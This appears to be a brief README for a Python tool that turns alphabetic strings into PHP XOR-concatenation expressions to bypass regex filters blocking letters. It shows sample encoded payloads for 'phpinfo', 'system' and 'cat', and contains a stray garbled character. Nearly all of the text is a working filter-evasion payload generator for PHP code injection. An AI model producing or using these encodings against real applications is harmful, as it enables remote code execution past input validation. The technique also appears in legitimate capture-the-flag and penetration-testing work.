Encode alpha string (a-zA-Z) using XOR to bypass PHP condition such as if(!preg_match('/[a-zA-Z\``]/', "yourPayload")

python <path_to_script> <alpha_string_to_encode>

"phpinfo" => ("@"^"0").("["^"3").("@"^"0").("["^"2").("^"^"0").("^"^"8").("_"^"0") "phpinfo()" => incorrect output as '(' and ')' are non alpha char "sys2" => incorrect output as '2' is a non alpha charù

python <path_to_script> "phpinfo"

output: ("@"^"0").("["^"3").("@"^"0").("["^"2").("^"^"0").("^"^"8").("_"^"0")

python <path_to_script> "system"

output: ("@"^"3").("@"^"9").("@"^"3").("@"^"4").("]"^"8").("]"^"0")

python <path_to_script> "cat"

output: ("["^"8").("@"^"!").("@"^"4")